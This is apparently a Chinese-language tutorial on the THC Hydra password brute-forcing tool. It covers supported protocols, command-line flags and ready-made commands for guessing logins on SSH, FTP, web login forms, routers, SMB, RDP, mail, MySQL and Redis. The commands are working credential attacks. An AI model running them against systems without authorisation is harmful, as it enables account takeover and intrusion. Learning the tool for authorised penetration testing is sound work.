简介
Hydra(九头蛇)是著名组织thc的一款开源的暴力密码工具,kali下是默认安装的,几乎支持所有协议的在线暴破,密码能否读取,在于字典是否强大以及电脑的性能。
此工具仅用于法律允许范围内!仅测试使用。
支持以下协议:
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,
HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY,
HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTPS-POST、
HTTP 代理、ICQ、IMAP、IRC、LDAP、MEMCACHED、MONGODB、MS-SQL、MYSQL、NCP、NNTP、Oracle 监听器、
Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、Radmin、RDP、Rexec、Rlogin、
Rsh、RTSP、SAP/R3、SIP、SMB、SMTP、SMTP 枚举、SNMP v1+v2+v3、SOCKS5、
SSH(v1 和 v2)、SSHKEY、Subversion、Teamspeak (TS2)、Telnet、VMware-Auth、
VNC 和 XMPP。
版本下载
windows版本:https://github.com/maaaaz/thc-hydra-windows
官网版本:https://github.com/vanhauser-thc/thc-hydra
使用方法:
语法: Hydra -参数 IP 服务
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
参数:
-R 恢复爆破(过程中断,,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务)
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定用户,对特定用户。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
-x 自定义密码
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意点:
1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。
用法示例:
ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
http
- get方式提交,web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
# 参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止,
# 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。
https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
语音通讯工具teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
路由器
hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
-l admin 为尝试破解的用户名。
# -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)
cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
邮箱pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
rdp(windows远程登录):
hydra ip rdp -l administrator -P pass.txt -V
http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
telnet
hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V
数据库(mysql)
hydra -L username.txt -P password.txt mysql://目标IP:mysql端口号
如果服务使用的是默认端口,那么指令也可以这么写:
hydra -L username.txt -P password.txt 目标IP mysql
如果需要将爆破的过程打印出来就加个指令-v:
hydra -L username.txt -P password.txt -v mysql://目标IP:mysql端口号
注意事项:有的服务并没有账号,只需要输入密码,例如Redis,那么指令中就不需要账号文件,指令就这么写:
hydra -P password.txt redis://目标IP:redis端口号
以上就是Hydra工具使用方法啦,好好掌握一下叭!